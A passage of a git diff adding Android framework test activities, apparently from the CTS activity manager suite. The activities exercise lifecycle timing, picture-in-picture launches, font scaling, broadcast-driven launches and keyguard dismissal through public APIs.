+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+
+public class BottomActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = BottomActivity.class.getSimpleName();
+
+    private int mStopDelay;
+    private View mFloatingWindow;
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+        if (useWallpaper) {
+            setTheme(R.style.WallpaperTheme);
+        }
+        setContentView(R.layout.main);
+
+        // Delayed stop is for simulating a case where resume happens before
+        // activityStopped() is received by AM, and the transition starts without
+        // going through fully stopped state (see b/30255354).
+        // If enabled, we stall onStop() of BottomActivity, open TopActivity but make
+        // it finish before onStop() ends. This will cause BottomActivity to resume before
+        // it notifies AM of activityStopped(). We also add a second window of
+        // TYPE_BASE_APPLICATION, so that the transition animation could start earlier.
+        // Otherwise the main window has to relayout to visible first and the error won't occur.
+        // Note that if the test fails, we shouldn't try to change the app here to make
+        // it pass. The test app is artificially made to simulate an failure case, but
+        // it's not doing anything wrong.
+        mStopDelay = getIntent().getIntExtra("STOP_DELAY", 0);
+        if (mStopDelay > 0) {
+            LayoutInflater inflater = getLayoutInflater();
+            mFloatingWindow = inflater.inflate(R.layout.floating, null);
+
+            WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+            params.height = WindowManager.LayoutParams.WRAP_CONTENT;
+            params.width = WindowManager.LayoutParams.WRAP_CONTENT;
+            params.type = WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+            params.setTitle("Floating");
+            getWindowManager().addView(mFloatingWindow, params);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        Log.d(TAG, "onResume() E");
+        super.onResume();
+
+        if (mStopDelay > 0) {
+            // Refresh floating window
+            Log.d(TAG, "Scheuling invalidate Floating Window in onResume()");
+            mFloatingWindow.invalidate();
+        }
+
+        Log.d(TAG, "onResume() X");
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        if (mStopDelay > 0) {
+            try {
+                Log.d(TAG, "Stalling onStop() by " + mStopDelay + " ms...");
+                Thread.sleep(mStopDelay);
+            } catch(InterruptedException e) {}
+
+            // Refresh floating window
+            Log.d(TAG, "Scheuling invalidate Floating Window in onStop()");
+            mFloatingWindow.invalidate();
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
new file mode 100644
index 0000000..3c4fcb0
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class BottomLeftLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
new file mode 100644
index 0000000..8d0e1e2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomRightLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class BottomRightLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
new file mode 100644
index 0000000..cd0c745
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BroadcastReceiverActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.server.am.tools.ActivityLauncher;
+import android.util.Log;
+
+/**
+ * Activity that registers broadcast receiver .
+ */
+public class BroadcastReceiverActivity extends Activity {
+
+    public static final String ACTION_TRIGGER_BROADCAST = "trigger_broadcast";
+    private static final String TAG = BroadcastReceiverActivity.class.getSimpleName();
+
+    private TestBroadcastReceiver mBroadcastReceiver = new TestBroadcastReceiver();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
+
+        registerReceiver(mBroadcastReceiver, broadcastFilter);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        unregisterReceiver(mBroadcastReceiver);
+    }
+
+    public class TestBroadcastReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            final Bundle extras = intent.getExtras();
+            Log.i(TAG, "onReceive: extras=" + extras);
+
+            if (extras == null) {
+                return;
+            }
+            if (extras.getBoolean("finish")) {
+                finish();
+            }
+            if (extras.getBoolean("moveToBack")) {
+                moveTaskToBack(true);
+            }
+            if (extras.containsKey("orientation")) {
+                setRequestedOrientation(extras.getInt("orientation"));
+            }
+            if (extras.getBoolean("dismissKeyguard")) {
+                getWindow().addFlags(FLAG_DISMISS_KEYGUARD);
+            }
+            if (extras.getBoolean("dismissKeyguardMethod")) {
+                getSystemService(KeyguardManager.class).requestDismissKeyguard(
+                        BroadcastReceiverActivity.this, new KeyguardDismissLoggerCallback(context));
+            }
+
+            ActivityLauncher.launchActivityFromExtras(BroadcastReceiverActivity.this, extras);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
new file mode 100644
index 0000000..0e73939
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DialogWhenLargeActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * Activity with DialogWhenLarge Theme.
+ */
+public class DialogWhenLargeActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = DialogWhenLargeActivity.class.getSimpleName();
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
new file mode 100644
index 0000000..30dc69c
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class DismissKeyguardActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
new file mode 100644
index 0000000..e19c4a1
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DismissKeyguardMethodActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class DismissKeyguardMethodActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+                new KeyguardDismissLoggerCallback(this));
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
new file mode 100644
index 0000000..ce6dbb2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/DockedActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class DockedActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
new file mode 100644
index 0000000..d8c8b4f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.server.am;
+
+import android.content.res.Configuration;
+import android.content.res.TypedArray;
+import android.content.res.XmlResourceParser;
+import android.os.Bundle;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.Xml;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+
+public class FontScaleActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = FontScaleActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        dumpFontSize();
+    }
+
+    // We're basically ensuring that no matter what happens to the resources underneath the
+    // Activity, any TypedArrays obtained from the pool have the correct DisplayMetrics.
+    protected void dumpFontSize() {
+        try (XmlResourceParser parser = getResources().getXml(R.layout.font_scale)) {
+            //noinspection StatementWithEmptyBody
+            while (parser.next() != XmlPullParser.START_TAG) { }
+
+            final AttributeSet attrs = Xml.asAttributeSet(parser);
+            TypedArray ta = getTheme().obtainStyledAttributes(attrs,
+                    new int[] { android.R.attr.textSize }, 0, 0);
+            try {
+                final int fontPixelSize = ta.getDimensionPixelSize(0, -1);
+                if (fontPixelSize == -1) {
+                    throw new AssertionError("android:attr/textSize not found");
+                }
+
+                Log.i(getTag(), "fontPixelSize=" + fontPixelSize);
+            } finally {
+                ta.recycle();
+            }
+        } catch (XmlPullParserException | IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
new file mode 100644
index 0000000..8699992
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FontScaleNoRelaunchActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.server.am;
+
+import android.content.res.Configuration;
+
+public class FontScaleNoRelaunchActivity extends FontScaleActivity {
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpFontSize();
+    }
+
+    @Override
+    protected String getTag() {
+        return FontScaleNoRelaunchActivity.class.getSimpleName();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
new file mode 100644
index 0000000..0d60e66
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/FreeformActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.graphics.Rect;
+
+public class FreeformActivity extends Activity {
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        final Intent intent = new Intent(this, TestActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchBounds(new Rect(0, 0, 900, 900));
+        this.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
new file mode 100644
index 0000000..c7113e6
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardDismissLoggerCallback.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
+import android.util.Log;
+
+public class KeyguardDismissLoggerCallback extends KeyguardDismissCallback {
+
+    private final String TAG = "KeyguardDismissLoggerCallback";
+
+    private final Context mContext;
+
+    public KeyguardDismissLoggerCallback(Context context) {
+        mContext = context;
+    }
+
+    @Override
+    public void onDismissError() {
+        Log.i(TAG, "onDismissError");
+    }
+
+    @Override
+    public void onDismissSucceeded() {
+        if (mContext.getSystemService(KeyguardManager.class).isDeviceLocked()) {
+            // Device is still locked? What a fail. Don't print "onDismissSucceded" such that the
+            // log fails.
+            Log.i(TAG, "dismiss succedded was called but device is still locked.");
+        } else {
+            Log.i(TAG, "onDismissSucceeded");
+        }
+    }
+
+    @Override
+    public void onDismissCancelled() {
+        Log.i(TAG, "onDismissCancelled");
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
new file mode 100644
index 0000000..f69dc5d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/KeyguardLockActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class KeyguardLockActivity extends BroadcastReceiverActivity {
+
+    private KeyguardManager.KeyguardLock mKeyguardLock;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mKeyguardLock = getSystemService(KeyguardManager.class).newKeyguardLock("test");
+        mKeyguardLock.disableKeyguard();
+    }
+
+    @Override
+    protected void onDestroy() {
+        mKeyguardLock.reenableKeyguard();
+        super.onDestroy();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
new file mode 100644
index 0000000..2d7ca6f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LandscapeOrientationActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.res.Configuration;
+
+public class LandscapeOrientationActivity extends AbstractLifecycleLogActivity {
+    @Override
+    protected String getTag() {
+        return "LandscapeOrientationActivity";
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
new file mode 100644
index 0000000..c67e9dd
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityFromSession.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class LaunchAssistantActivityFromSession extends Activity {
+    @Override
+    protected void onResume() {
+        super.onResume();
+        AssistantVoiceInteractionService.launchAssistantActivity(this, getIntent().getExtras());
+        finishAndRemoveTask();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
new file mode 100644
index 0000000..116bd22
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchAssistantActivityIntoAssistantStack.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class LaunchAssistantActivityIntoAssistantStack extends Activity {
+
+    // Launches the translucent assist activity
+    public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        if (getIntent().hasExtra(EXTRA_IS_TRANSLUCENT) &&
+                Boolean.valueOf(getIntent().getStringExtra(EXTRA_IS_TRANSLUCENT))) {
+            TranslucentAssistantActivity.launchActivityIntoAssistantStack(this,
+                    getIntent().getExtras());
+        } else {
+            AssistantActivity.launchActivityIntoAssistantStack(this, getIntent().getExtras());
+        }
+        finishAndRemoveTask();
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
new file mode 100644
index 0000000..01a2fb1
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchBroadcastReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.server.am.tools.ActivityLauncher;
+import android.util.Log;
+
+/** Broadcast receiver that can launch activities. */
+public class LaunchBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        try {
+            ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+        } catch (SecurityException e) {
+            Log.e(TAG, "SecurityException launching activity");
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
new file mode 100644
index 0000000..db1119d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchEnterPipActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.os.Bundle;
+
+public class LaunchEnterPipActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        PipActivity.launchEnterPipActivity(this);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
new file mode 100644
index 0000000..bb97261
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchIntoPinnedStackPipActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class LaunchIntoPinnedStackPipActivity extends Activity {
+    @Override
+    protected void onResume() {
+        super.onResume();
+        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, true /* newTask */);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
new file mode 100644
index 0000000..52263f2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchPipOnPipActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.pm.PackageManager;
+
+public class LaunchPipOnPipActivity extends Activity {
+    @Override
+    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
+        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
+            getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
new file mode 100644
index 0000000..814ed60
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchingActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.am.tools.ActivityLauncher;
+
+/**
+ * Activity that launches another activities when new intent is received.
+ */
+public class LaunchingActivity extends Activity {
+    @Override
